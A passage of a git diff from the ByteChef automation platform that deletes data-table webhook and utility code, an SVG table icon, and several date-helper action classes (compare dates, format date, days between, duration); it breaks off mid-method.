-        TriggerContextAware triggerContextAware = (TriggerContextAware) triggerContext;
-
-        String baseName = inputParameters.getRequiredString(TABLE);
-
-        long webhookId = dataTableWebhookService.addWebhook(
-            baseName, webhookUrl, DataTableWebhookType.RECORD_UPDATED,
-            Objects.requireNonNull(triggerContextAware.getEnvironmentId()));
-
-        return new WebhookEnableOutput(Map.of("webhookId", webhookId), null);
-    }
-
-    @SuppressWarnings("PMD.UnusedFormalParameter")
-    private void webhookDisable(
-        Parameters inputParameters, Parameters connectionParameters, Parameters webhookEnableOutputParameters,
-        String workflowExecutionId, TriggerContext triggerContext) {
-
-        long webhookId = webhookEnableOutputParameters.getRequiredLong("webhookId");
-
-        dataTableWebhookService.removeWebhook(webhookId);
-    }
-
-    @SuppressWarnings("PMD.UnusedFormalParameter")
-    private Object webhookRequest(
-        Parameters inputParameters, Parameters connectionParameters, HttpHeaders headers, HttpParameters parameters,
-        WebhookBody body, WebhookMethod method, Parameters webhookEnableOutputParameters,
-        TriggerContext triggerContext) {
-
-        Map<String, Object> content = body.getContent(new TypeReference<>() {});
-
-        Object payload = content.get("payload");
-
-        return payload != null ? payload : content;
-    }
-}
diff --git a/server/libs/modules/components/data-table/src/main/java/com/bytechef/component/datatable/util/DataTableUtils.java b/server/libs/modules/components/data-table/src/main/java/com/bytechef/component/datatable/util/DataTableUtils.java
deleted file mode 100644
index 737bd0e2372..00000000000
--- a/server/libs/modules/components/data-table/src/main/java/com/bytechef/component/datatable/util/DataTableUtils.java
+++ /dev/null
@@ -1,272 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.datatable.util;
-
-import static com.bytechef.component.datatable.constant.DataTableConstants.TABLE;
-import static com.bytechef.component.datatable.constant.DataTableConstants.VALUES;
-import static com.bytechef.component.definition.ComponentDsl.array;
-import static com.bytechef.component.definition.ComponentDsl.bool;
-import static com.bytechef.component.definition.ComponentDsl.date;
-import static com.bytechef.component.definition.ComponentDsl.dateTime;
-import static com.bytechef.component.definition.ComponentDsl.integer;
-import static com.bytechef.component.definition.ComponentDsl.number;
-import static com.bytechef.component.definition.ComponentDsl.object;
-import static com.bytechef.component.definition.ComponentDsl.option;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.definition.BaseOutputDefinition.OutputResponse;
-import static com.bytechef.platform.configuration.domain.Environment.DEVELOPMENT;
-
-import com.bytechef.automation.data.table.configuration.domain.DataTableInfo;
-import com.bytechef.automation.data.table.configuration.service.DataTableService;
-import com.bytechef.automation.data.table.domain.ColumnSpec;
-import com.bytechef.automation.data.table.domain.ColumnType;
-import com.bytechef.automation.data.table.execution.domain.DataTableRow;
-import com.bytechef.automation.data.table.execution.service.DataTableRowService;
-import com.bytechef.component.definition.ActionDefinition;
-import com.bytechef.component.definition.Option;
-import com.bytechef.component.definition.Property;
-import com.bytechef.component.definition.TriggerDefinition;
-import com.bytechef.definition.BaseProperty.BaseValueProperty;
-import com.bytechef.platform.configuration.domain.Environment;
-import java.time.LocalDate;
-import java.time.LocalDateTime;
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-import java.util.Objects;
-import org.jspecify.annotations.Nullable;
-
-/**
- * Utility to construct output schemas for Data Table actions using table metadata.
- *
- * @author Ivica Cardic
- */
-public final class DataTableUtils {
-
-    private DataTableUtils() {
-    }
-
-    /**
-     * Returns an OptionsFunction for action table selection dropdowns.
-     *
-     * @param dataTableService the data table service
-     * @return an OptionsFunction that provides table options
-     */
-    public static ActionDefinition.OptionsFunction<String> getActionTableOptions(DataTableService dataTableService) {
-        return (inputParameters, connectionParameters, dependencyPaths, searchText, context) -> getTableOptions(
-            searchText, dataTableService);
-    }
-
-    /**
-     * Returns an OptionsFunction for trigger table selection dropdowns.
-     *
-     * @param dataTableService the data table service
-     * @return an OptionsFunction that provides table options
-     */
-    public static TriggerDefinition.OptionsFunction<String> getTriggerTableOptions(DataTableService dataTableService) {
-        return (inputParameters, connectionParameters, dependencyPaths, searchText, context) -> getTableOptions(
-            searchText, dataTableService);
-    }
-
-    public static List<Option<String>> getTableOptions(String searchText, DataTableService dataTableService) {
-        List<DataTableInfo> dataTableInfos = dataTableService.listTables(DEVELOPMENT.ordinal());
-
-        return dataTableInfos.stream()
-            .filter(
-                dataTableInfo -> searchText == null || dataTableInfo.baseName()
-                    .toLowerCase()
-                    .contains(searchText.toLowerCase()))
-            .<Option<String>>map(
-                dataTableInfo -> option(dataTableInfo.baseName(), dataTableInfo.baseName(),
-                    dataTableInfo.description()))
-            .toList();
-    }
-
-    /**
-     * Fetches a DataTableInfo by base name and environment ID.
-     *
-     * @param dataTableService the data table service
-     * @param baseName         the table base name
-     * @param environmentId    the environment ID
-     * @return the DataTableInfo if found, null otherwise
-     */
-    @Nullable
-    public static DataTableInfo getDataTableInfo(
-        DataTableService dataTableService, String baseName, long environmentId) {
-
-        List<DataTableInfo> dataTableInfos = dataTableService.listTables(environmentId);
-
-        return dataTableInfos.stream()
-            .filter(dataTableInfo -> {
-                String curBaseName = dataTableInfo.baseName();
-
-                return curBaseName.equalsIgnoreCase(baseName);
-            })
-            .findFirst()
-            .orElse(null);
-    }
-
-    /**
-     * Creates a OutputResponse for a data table trigger, including schema and sample data from the first row.
-     *
-     * @param dataTableRowService the data table row service
-     * @param dataTableService    the data table service
-     * @param baseName            the table base name
-     * @return an OutputResponse with schema and optional sample data
-     */
-    public static OutputResponse createTriggerOutputResponse(
-        DataTableRowService dataTableRowService, DataTableService dataTableService, String baseName) {
-
-        BaseValueProperty<?> rowSchema = rowObjectSchema(dataTableService, DEVELOPMENT, baseName);
-
-        List<DataTableRow> rows = dataTableRowService.listRows(baseName, 1, 0, DEVELOPMENT.ordinal());
-
-        if (rows.isEmpty()) {
-            return OutputResponse.of(rowSchema);
-        }
-
-        DataTableRow firstRow = rows.getFirst();
-
-        Map<String, Object> sampleOutput = createSampleOutput(
-            dataTableService, DEVELOPMENT, baseName, firstRow.id(), firstRow.values());
-
-        return OutputResponse.of(rowSchema, sampleOutput);
-    }
-
-    public static BaseValueProperty<?> rowObjectSchema(
-        DataTableService dataTableService, Environment environment, String baseName) {
-
-        DataTableInfo dataTableInfo = getDataTableInfo(dataTableService, baseName, environment.ordinal());
-
-        List<Property.ValueProperty<?>> properties = new ArrayList<>();
-
-        properties.add(integer("id").label("ID"));
-
-        if (dataTableInfo != null && dataTableInfo.columns() != null) {
-            for (ColumnSpec columnSpec : dataTableInfo.columns()) {
-                properties.add(mapColumn(columnSpec));
-            }
-        }
-
-        return object().properties(properties.toArray(Property.ValueProperty[]::new));
-    }
-
-    /**
-     * Creates a sample output map from a row's values, filling in sample values for null columns based on their types.
-     *
-     * @param dataTableService the data table service
-     * @param environment      the environment
-     * @param baseName         the table base name
-     * @param rowId            the row id
-     * @param rowValues        the row values map (may contain null values)
-     * @return a map with id and all column values, with sample values for null entries
-     */
-    public static Map<String, Object> createSampleOutput(
-        DataTableService dataTableService, Environment environment, String baseName, long rowId,
-        Map<String, Object> rowValues) {
-
-        DataTableInfo dataTableInfo = getDataTableInfo(dataTableService, baseName, environment.ordinal());
-
-        Map<String, Object> sampleOutput = new HashMap<>();
-
-        sampleOutput.put("id", rowId);
-
-        if (dataTableInfo != null && dataTableInfo.columns() != null) {
-            for (ColumnSpec columnSpec : dataTableInfo.columns()) {
-                String columnName = columnSpec.name();
-                Object value = rowValues.get(columnName);
-
-                sampleOutput.put(
-                    columnName, Objects.requireNonNullElseGet(value, () -> getSampleValue(columnSpec.type())));
-            }
-        }
-
-        return sampleOutput;
-    }
-
-    /**
-     * Creates a PropertiesFunction for dynamic properties lookup based on table columns.
-     *
-     * @param dataTableService the data table service
-     * @return a PropertiesFunction that returns properties based on the selected table
-     */
-    public static ActionDefinition.PropertiesFunction createDynamicProperties(
-        DataTableService dataTableService, boolean singleRecord) {
-
-        return (inputParameters, connectionParameters, dependencyPaths, context) -> {
-            String baseName = inputParameters.getString(TABLE);
-
-            if (baseName == null || baseName.isBlank()) {
-                return List.of();
-            }
-
-            DataTableInfo dataTableInfo = getDataTableInfo(dataTableService, baseName, DEVELOPMENT.ordinal());
-
-            if (dataTableInfo == null || dataTableInfo.columns() == null) {
-                return List.of();
-            }
-
-            List<Property.ValueProperty<?>> columnProperties = new ArrayList<>();
-
-            for (ColumnSpec columnSpec : dataTableInfo.columns()) {
-                columnProperties.add(mapColumn(columnSpec));
-            }
-
-            var valuesObject = object(VALUES)
-                .label("Values")
-                .properties(columnProperties)
-                .required(true);
-
-            if (singleRecord) {
-                return List.of(valuesObject);
-            } else {
-                var recordsArray = array(VALUES)
-                    .label("Records")
-                    .items(valuesObject)
-                    .required(true);
-
-                return List.of(recordsArray);
-            }
-        };
-    }
-
-    private static Object getSampleValue(ColumnType columnType) {
-        return switch (columnType) {
-            case STRING -> "sample value";
-            case NUMBER -> 1.0;
-            case INTEGER -> 1;
-            case DATE -> LocalDate.now();
-            case DATE_TIME -> LocalDateTime.now();
-            case BOOLEAN -> false;
-        };
-    }
-
-    private static Property.ValueProperty<?> mapColumn(ColumnSpec columnSpec) {
-        String name = columnSpec.name();
-        ColumnType type = columnSpec.type();
-
-        return switch (type) {
-            case STRING -> string(name);
-            case NUMBER -> number(name);
-            case INTEGER -> integer(name);
-            case DATE -> date(name);
-            case DATE_TIME -> dateTime(name);
-            case BOOLEAN -> bool(name);
-        };
-    }
-}
diff --git a/server/libs/modules/components/data-table/src/main/resources/assets/data-table.svg b/server/libs/modules/components/data-table/src/main/resources/assets/data-table.svg
deleted file mode 100644
index fa68c46448d..00000000000
--- a/server/libs/modules/components/data-table/src/main/resources/assets/data-table.svg
+++ /dev/null
@@ -1,7 +0,0 @@
-<svg xmlns="http://www.w3.org/2000/svg" width="64" height="64" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
-  <rect x="3" y="3" width="18" height="18" rx="2" ry="2"></rect>
-  <line x1="3" y1="9" x2="21" y2="9"></line>
-  <line x1="3" y1="15" x2="21" y2="15"></line>
-  <line x1="9" y1="3" x2="9" y2="21"></line>
-  <line x1="15" y1="3" x2="15" y2="21"></line>
-</svg>
diff --git a/server/libs/modules/components/date-helper/src/main/java/com/bytechef/component/date/helper/action/DateHelperCompareDatesAction.java b/server/libs/modules/components/date-helper/src/main/java/com/bytechef/component/date/helper/action/DateHelperCompareDatesAction.java
deleted file mode 100644
index 36526496bd6..00000000000
--- a/server/libs/modules/components/date-helper/src/main/java/com/bytechef/component/date/helper/action/DateHelperCompareDatesAction.java
+++ /dev/null
@@ -1,81 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.date.helper.action;
-
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.COMPARISON;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DATE_A;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DATE_B;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.RESOLUTION;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.RESOLUTION_PROPERTY;
-import static com.bytechef.component.date.helper.util.DateHelperUtils.applyResolution;
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.bool;
-import static com.bytechef.component.definition.ComponentDsl.dateTime;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-
-import com.bytechef.component.date.helper.constants.DateHelperComparisonEnum;
-import com.bytechef.component.date.helper.util.DateHelperUtils;
-import com.bytechef.component.definition.ActionContext;
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Parameters;
-import java.time.LocalDateTime;
-
-/**
- * @author Nikolina Spehar
- */
-public class DateHelperCompareDatesAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("compareDates")
-        .title("Compare Dates")
-        .description("Compares two dates.")
-        .properties(
-            dateTime(DATE_A)
-                .label("Date A")
-                .description(
-                    "First date that will be compared. We only accept yyyy-MM-ddTHH:mm:ss, use our Format Date action" +
-                        " to transform the date format")
-                .required(true),
-            dateTime(DATE_B)
-                .label("Date B")
-                .description(
-                    "Second date that will be compared. We only accept yyyy-MM-ddTHH:mm:ss, use our Format Date " +
-                        "action to transform the date format")
-                .required(true),
-            RESOLUTION_PROPERTY,
-            string(COMPARISON)
-                .label("Comparison")
-                .description("The type of comparison to be performed.")
-                .options(DateHelperUtils.getComparisonOptions())
-                .required(true))
-        .output(outputSchema(bool().description("Result of comparison.")))
-        .help("", "https://docs.bytechef.io/reference/components/date-helper_v1#compare-dates")
-        .perform(DateHelperCompareDatesAction::perform);
-
-    private DateHelperCompareDatesAction() {
-    }
-
-    public static boolean perform(Parameters inputParameters, Parameters connectionParameters, ActionContext context) {
-        String resolution = inputParameters.getRequiredString(RESOLUTION);
-
-        LocalDateTime dateA = applyResolution(resolution, inputParameters.getRequiredLocalDateTime(DATE_A));
-        LocalDateTime dateB = applyResolution(resolution, inputParameters.getRequiredLocalDateTime(DATE_B));
-
-        return DateHelperComparisonEnum.valueOf(inputParameters.getRequiredString(COMPARISON))
-            .compare(dateA, dateB);
-    }
-}
diff --git a/server/libs/modules/components/date-helper/src/main/java/com/bytechef/component/date/helper/action/DateHelperCompareTimesAction.java b/server/libs/modules/components/date-helper/src/main/java/com/bytechef/component/date/helper/action/DateHelperCompareTimesAction.java
deleted file mode 100644
index 2540546bacc..00000000000
--- a/server/libs/modules/components/date-helper/src/main/java/com/bytechef/component/date/helper/action/DateHelperCompareTimesAction.java
+++ /dev/null
@@ -1,76 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.date.helper.action;
-
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.COMPARISON;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DATE_A;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DATE_B;
-import static com.bytechef.component.date.helper.util.DateHelperUtils.normalizeToTimeOnly;
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.bool;
-import static com.bytechef.component.definition.ComponentDsl.dateTime;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-
-import com.bytechef.component.date.helper.constants.DateHelperComparisonEnum;
-import com.bytechef.component.date.helper.util.DateHelperUtils;
-import com.bytechef.component.definition.ActionContext;
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Parameters;
-import java.time.LocalDateTime;
-
-/**
- * @author Nikolina Spehar
- */
-public class DateHelperCompareTimesAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("compareTimes")
-        .title("Compare Times")
-        .description("Compare two time values, ignoring the dates/days.")
-        .properties(
-            dateTime(DATE_A)
-                .label("Date A")
-                .description(
-                    "First date that will be compared. We only accept yyyy-MM-ddTHH:mm:ss, use our Format Date action" +
-                        " to transform the date format")
-                .required(true),
-            dateTime(DATE_B)
-                .label("Date B")
-                .description(
-                    "Second date that will be compared. We only accept yyyy-MM-ddTHH:mm:ss, use our Format Date " +
-                        "action to transform the date format")
-                .required(true),
-            string(COMPARISON)
-                .label("Comparison")
-                .description("The type of comparison to be performed.")
-                .options(DateHelperUtils.getComparisonOptions())
-                .required(true))
-        .output(outputSchema(bool().description("Result of comparison.")))
-        .help("", "https://docs.bytechef.io/reference/components/date-helper_v1#compare-times")
-        .perform(DateHelperCompareTimesAction::perform);
-
-    private DateHelperCompareTimesAction() {
-    }
-
-    public static boolean perform(Parameters inputParameters, Parameters connectionParameters, ActionContext context) {
-        LocalDateTime normalizedDateA = normalizeToTimeOnly(inputParameters.getRequiredLocalDateTime(DATE_A));
-        LocalDateTime normalizedDateB = normalizeToTimeOnly(inputParameters.getRequiredLocalDateTime(DATE_B));
-
-        return DateHelperComparisonEnum.valueOf(inputParameters.getRequiredString(COMPARISON))
-            .compare(normalizedDateA, normalizedDateB);
-    }
-}
diff --git a/server/libs/modules/components/date-helper/src/main/java/com/bytechef/component/date/helper/action/DateHelperDateIsInLastAction.java b/server/libs/modules/components/date-helper/src/main/java/com/bytechef/component/date/helper/action/DateHelperDateIsInLastAction.java
deleted file mode 100644
index 25e07a0a6a1..00000000000
--- a/server/libs/modules/components/date-helper/src/main/java/com/bytechef/component/date/helper/action/DateHelperDateIsInLastAction.java
+++ /dev/null
@@ -1,92 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.date.helper.action;
-
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DATE;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.IN_LAST;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.TIME_ZONE;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.UNIT;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.UNIT_PROPERTY;
-import static com.bytechef.component.date.helper.util.DateHelperUtils.getChronoUnit;
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.bool;
-import static com.bytechef.component.definition.ComponentDsl.dateTime;
-import static com.bytechef.component.definition.ComponentDsl.integer;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-
-import com.bytechef.component.date.helper.util.DateHelperUtils;
-import com.bytechef.component.definition.ActionContext;
-import com.bytechef.component.definition.ActionDefinition.OptionsFunction;
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Parameters;
-import java.time.LocalDateTime;
-import java.time.ZoneId;
-import java.time.temporal.ChronoUnit;
-
-/**
- * @author Nikolina Spehar
- */
-public class DateHelperDateIsInLastAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("dateIsInLast")
-        .title("Date Is in the Last")
-        .description(
-            "Allows you to easily check if a given date has occurred in the last X number of seconds, minutes, " +
-                "hours, or days.")
-        .properties(
-            dateTime(DATE)
-                .label("Date")
-                .description(
-                    "Date for which you want to check is it in the last X number of selected time units. We only " +
-                        "accept yyyy-MM-ddTHH:mm:ss, use our Format Date action to transform the date format")
-                .required(true),
-            string(TIME_ZONE)
-                .label("Time Zone")
-                .description("Time zone to use when checking the date.")
-                .options((OptionsFunction<String>) DateHelperUtils::getZoneOptions)
-                .required(true),
-            integer(IN_LAST)
-                .label("In Last")
-                .description("Number of how many time units.")
-                .required(true),
-            UNIT_PROPERTY)
-        .output(outputSchema(bool().description("Whether the date is in the last X number of selected time units.")))
-        .help("", "https://docs.bytechef.io/reference/components/date-helper_v1#date-is-in-the-last")
-        .perform(DateHelperDateIsInLastAction::perform);
-
-    private DateHelperDateIsInLastAction() {
-    }
-
-    public static boolean perform(Parameters inputParameters, Parameters connectionParameters, ActionContext context) {
-        int inLast = inputParameters.getRequiredInteger(IN_LAST);
-
-        String inLastUnit = inputParameters.getRequiredString(UNIT);
-
-        LocalDateTime localDateTime = inputParameters.getRequiredLocalDateTime(DATE)
-            .truncatedTo(ChronoUnit.SECONDS);
-
-        String timeZone = inputParameters.getRequiredString(TIME_ZONE);
-        LocalDateTime now = LocalDateTime.now(ZoneId.of(timeZone))
-            .truncatedTo(ChronoUnit.SECONDS);
-
-        LocalDateTime threshold = now.minus(inLast, getChronoUnit(inLastUnit))
-            .truncatedTo(ChronoUnit.SECONDS);
-
-        return !localDateTime.isBefore(threshold) && !localDateTime.isAfter(now);
-    }
-}
diff --git a/server/libs/modules/components/date-helper/src/main/java/com/bytechef/component/date/helper/action/DateHelperFormatDateAction.java b/server/libs/modules/components/date-helper/src/main/java/com/bytechef/component/date/helper/action/DateHelperFormatDateAction.java
deleted file mode 100644
index 52e045b3496..00000000000
--- a/server/libs/modules/components/date-helper/src/main/java/com/bytechef/component/date/helper/action/DateHelperFormatDateAction.java
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.date.helper.action;
-
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DATE;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DATE_FORMAT;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DATE_FORMAT_PROPERTY;
-import static com.bytechef.component.date.helper.util.DateHelperUtils.getFormattedDate;
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.dateTime;
-import static com.bytechef.component.definition.ComponentDsl.object;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-
-import com.bytechef.component.definition.ActionContext;
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Parameters;
-
-/**
- * @author Nikolina Spehar
- */
-public class DateHelperFormatDateAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("formatDate")
-        .title("Format Date")
-        .description("Format date to a desired format.")
-        .properties(
-            dateTime(DATE)
-                .label("Date")
-                .description(
-                    "Date which you want to format. We only accept yyyy-MM-ddTHH:mm:ss, use our Format Date action " +
-                        "to transform the date format")
-                .required(true),
-            DATE_FORMAT_PROPERTY)
-        .output(outputSchema(object().description("Date in desired format.")))
-        .help("", "https://docs.bytechef.io/reference/components/date-helper_v1#format-date")
-        .perform(DateHelperFormatDateAction::perform);
-
-    private DateHelperFormatDateAction() {
-    }
-
-    public static Object perform(Parameters inputParameters, Parameters connectionParameters, ActionContext context) {
-        return getFormattedDate(
-            inputParameters.getRequiredString(DATE_FORMAT), inputParameters.getRequiredLocalDateTime(DATE));
-    }
-}
diff --git a/server/libs/modules/components/date-helper/src/main/java/com/bytechef/component/date/helper/action/DateHelperGetDaysBetweenAction.java b/server/libs/modules/components/date-helper/src/main/java/com/bytechef/component/date/helper/action/DateHelperGetDaysBetweenAction.java
deleted file mode 100644
index 8264b6c8eca..00000000000
--- a/server/libs/modules/components/date-helper/src/main/java/com/bytechef/component/date/helper/action/DateHelperGetDaysBetweenAction.java
+++ /dev/null
@@ -1,75 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.date.helper.action;
-
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DATE_A;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DATE_B;
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.dateTime;
-import static com.bytechef.component.definition.ComponentDsl.integer;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-
-import com.bytechef.component.definition.ActionContext;
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Parameters;
-import java.time.LocalDateTime;
-import java.time.Period;
-
-/**
- * @author Nikolina Spehar
- */
-public class DateHelperGetDaysBetweenAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("getDaysBetween")
-        .title("Get Days Between")
-        .description(
-            "Get the number of days between two dates, rounded to the nearest day. If the second date is before the " +
-                "first date, the result will be negative.")
-        .properties(
-            dateTime(DATE_A)
-                .label("Start Date")
-                .description(
-                    "Start date of the interval. We only accept yyyy-MM-ddTHH:mm:ss, use our Format Date action to " +
-                        "transform the date format")
-                .required(true),
-            dateTime(DATE_B)
-                .label("End Date")
-                .description(
-                    "End date of the interval. We only accept yyyy-MM-ddTHH:mm:ss, use our Format Date action to " +
-                        "transform the date format")
-                .required(true))
-        .output(
-            outputSchema(
-                integer()
-                    .description(
-                        "Number of days between start and end date. If the end date was before start date number " +
-                            "will be negative.")))
-        .help("", "https://docs.bytechef.io/reference/components/date-helper_v1#get-days-between")
-        .perform(DateHelperGetDaysBetweenAction::perform);
-
-    private DateHelperGetDaysBetweenAction() {
-    }
-
-    public static int perform(Parameters inputParameters, Parameters connectionParameters, ActionContext context) {
-        LocalDateTime dateA = inputParameters.getRequiredLocalDateTime(DATE_A);
-        LocalDateTime dateB = inputParameters.getRequiredLocalDateTime(DATE_B);
-
-        Period period = Period.between(dateA.toLocalDate(), dateB.toLocalDate());
-
-        return period.getDays();
-    }
-}
diff --git a/server/libs/modules/components/date-helper/src/main/java/com/bytechef/component/date/helper/action/DateHelperGetDurationAction.java b/server/libs/modules/components/date-helper/src/main/java/com/bytechef/component/date/helper/action/DateHelperGetDurationAction.java
deleted file mode 100644
index b5195f85321..00000000000
--- a/server/libs/modules/components/date-helper/src/main/java/com/bytechef/component/date/helper/action/DateHelperGetDurationAction.java
+++ /dev/null
@@ -1,81 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.date.helper.action;
-
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DAY;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.DURATION;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.HOUR;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.MINUTE;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.MONTH;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.SECOND;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.UNIT;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.UNIT_PROPERTY;
-import static com.bytechef.component.date.helper.constants.DateHelperConstants.YEAR;
-import static com.bytechef.component.date.helper.util.DateHelperUtils.formatDuration;
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.integer;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-
-import com.bytechef.component.definition.ActionContext;
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Parameters;
-
-/**
- * @author Nikolina Spehar
- */
-public class DateHelperGetDurationAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("getDuration")
-        .title("Get Duration")
-        .description(
-            "Given a total number of seconds, minutes, etc. – return human readable text containing how long the " +
-                "duration was approximately, in the units of your choosing.")
-        .properties(
-            integer(DURATION)
-                .label("Duration")
-                .description("The duration value.")
-                .required(true),
-            UNIT_PROPERTY)
-        .output(outputSchema(string().description("Human readable duration text.")))
-        .help("", "https://docs.bytechef.io/reference/components/date-helper_v1#get-duration")
-        .perform(DateHelperGetDurationAction::perform);
-
-    private DateHelperGetDurationAction() {
-    }
-
-    public static String perform(Parameters inputParameters, Parameters connectionParameters, ActionContext context) {
-        int duration = inputParameters.getRequiredInteger(DURATION);
-        String durationUnit = inputParameters.getRequiredString(UNIT);
-
-        long totalSeconds = convertToSeconds(duration, durationUnit);
-
-        return formatDuration(totalSeconds);
-    }
-
-    private static long convertToSeconds(int duration, String unit) {
-        return switch (unit) {
-            case SECOND -> duration;
-            case MINUTE -> duration * 60L;
-            case HOUR -> duration * 3600L;
